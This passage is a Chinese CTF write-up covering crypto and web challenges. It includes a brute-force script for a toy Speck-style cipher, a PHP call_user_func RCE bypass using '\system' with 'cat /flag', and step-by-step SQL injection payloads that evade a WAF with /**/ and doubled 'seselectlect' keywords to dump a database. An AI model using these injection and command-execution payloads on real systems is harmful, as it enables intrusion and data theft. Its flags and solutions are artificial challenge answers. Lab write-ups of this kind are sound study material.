m=pow(c,d,n)
print(m)
print(long_to_bytes(m))

flag{dp_i5_1eak}

DIladila

这里是采用的爆破方法,利用字母表生成所有四位字母的所有组合,然后与加密的信息一一对比即可,相同即爆破的字母正确

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
import itertools

def rol(val, r_bits, max_bits=16):
return ((val << r_bits) & (2**max_bits - 1)) | (val >> (max_bits - r_bits))

def ror(val, r_bits, max_bits=16):
return (val >> r_bits) | ((val << (max_bits - r_bits)) & (2**max_bits - 1))

def speck_round(x, y, k):
x = (ror(x, 7) + y) & 0xFFFF
x ^= k
y = rol(y, 2) ^ x
return x, y

def inverse_speck_round(x, y, k):
# 还原 y
y = ror(y ^ x, 2)&0xFFFF
# 还原 x
x = rol((x ^ k) - y, 7)&0xFFFF
return x, y

def re_encrypt_block(x, y, keys):
for i in range(len(keys)-1,-1,-1):
x, y = inverse_speck_round(x, y, keys[i])
# for k in keys:
# x, y = inverse_speck_round(x, y, k)
return x, y

def encrypt_block(x, y, keys):
for k in keys:
x, y = speck_round(x, y, k)
return x, y

def str_to_blocks(s):

b = s.encode('utf-8')

if len(b) % 4 != 0:
b += b'\x00' * (4 - len(b) % 4)
# print(b)
blocks = []
for i in range(0, len(b), 4):
x = int.from_bytes(b[i:i+2], 'little')
y = int.from_bytes(b[i+2:i+4], 'little')
blocks.append((x, y))
# print(blocks)
return blocks

def blocks_to_str(blocks):
b = bytearray()
for x, y in blocks:
# 确保 x 和 y 是 16 位无符号整数
x = x & 0xFFFF
y = y & 0xFFFF
# 将 x 和 y 转换为字节序列(小端模式)
b.extend(x.to_bytes(2, 'little'))
b.extend(y.to_bytes(2, 'little'))
# 将字节序列解码为字符串,用替代字符替换无效字节
return b.decode('utf-8', errors='replace').rstrip('\x00')

# # 这里写明文变量时用占位符,实际加密时请自行替换
# plaintext = "你好"
# ciphertext=[]
keys = [0x1234, 0x5678, 0x9abc, 0xdef0]
# blocks=[(65527, 7818), (23649, 11037), (35597, 53957), (11410, 22560), (15761, 52068), (6455, 25447), (30751, 4638), (65499, 28306)]
# for x, y in blocks:
# cx, cy = encrypt_block(x, y, keys) # 加密每个数据块
# ciphertext.append((cx, cy)) # 将加密后的数据块添加到密文列表
# print(ciphertext)
# 组织分组


charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_"
all_possible_strings = itertools.product(charset, repeat=4)

cipher_block=[(57912, 19067),
(38342, 34089),
(16842, 41652),
(30292, 50979),
(9137, 57458),
(29822, 64285),
(33379, 14140),
(16514, 4653)]

# 遍历所有可能的字符串,计算密文并输出
for combination in (all_possible_strings):
plaintext = ''.join(combination) # 将组合转换为字符串
blocks = str_to_blocks(plaintext) # 将字符串转换为数据块
ciphertext = [] # 初始化密文列表
for x, y in blocks:
cx, cy = encrypt_block(x, y, keys) # 加密每个数据块
ciphertext.append((cx, cy)) # 将加密后的数据块添加到密文列表
if len(ciphertext) > 0 and ciphertext[0][0] == 38342 and ciphertext[0][1] == 34089:
print(f"找到明文: {plaintext}, 密文: {ciphertext}")
break

# dd=[]
# for x, y in block:
# cx, cy = re_encrypt_block(x, y, keys)
# dd.append((cx, cy))
# # decrypted_text = blocks_to_str(dd)
# print(dd)
# print("解密后的字符串:", decrypted_text)
# [(-86, -12972), (-116, 2262), (-86, -12912), (-87, -12718), (-87, -12535), (-103, 54075), (-83, -14588), (-118, 3335)]

flag{You_DIladila_Crypto_Matser}

告白2009-01-23

第一部分求m,用viener或者Boneh and Durfee attack都可以做出来,但那个德语提示是真的ex,把gpt都问冒烟了,还是不会,有兴趣自己去看吧

Web

ezrce

思路分析:num传一个比1234大的数,b和star传进call_user_func函数内执行并要输出flag,但已经把大多数能执行以及输出的命令都给禁用了,这里system虽然被禁,但可以加一个反斜杠表示全局命令,能过滤system,但过滤不了\system

我们看一下这个函数的使用介绍:

1
2
3
4
5
6
7
8
9
10
<?php
function nowamagic($a,$b)
{
echo $a;
echo $b;
}
call_user_func('nowamagic', "111","222");
call_user_func('nowamagic', "333","444");
//显示 111 222 333 444
?>

第一个参数传一个函数a,第二往后多个参数表示函数a的参数,那这里我们传\system和cat /flag 就可以读取flag文件

图片

Ezsql1.0

之前总是依赖于sqlmap,可当真正的问题来临时,自己却毫无办法,这里最好先用手注判断过滤了那些字符,然后再套用sqlmap的tamper模板就轻而易举了,这里禁用了空格和select,空格可以用/**/替代,select可以通过双写seselectlect绕过,剩下的正常手注完全可以,以后要多学习下常见的过滤以及tamper

图片

被waf,说明空格被waf或者or或者1=1被waf,测试发现是空格,这里用/**/绕过

图片

又被拦,说明union或者select被拦,这里是select,双写seselectlect即可绕过

图片

测出有三列,而且每列都可以输出

-1//union//seselectlect/**/1,(selselectect(group_concat(schema_name))from(information_schema.schemata)),3#

图片

得到数据库名xuanyuanCTF

-1//union//seselectlect/**/(selselectect(group_concat(table_name))from(information_schema.tables)where(table_schema=’xuanyuanCTF’)),2,3#

图片

得到表名info

-1//union//seselectlect/**/(selselectect(group_concat(column_name))from(information_schema.columns)where(table_name=’info’)),2,3#

图片

得到字段名:id,title和content

-1//union//seselectlect/**/(selselectect(group_concat(id,’-‘,title,’-‘,content))from(xuanyuanCTF.info)),2,3#

图片

拿到flag,Base64解密

图片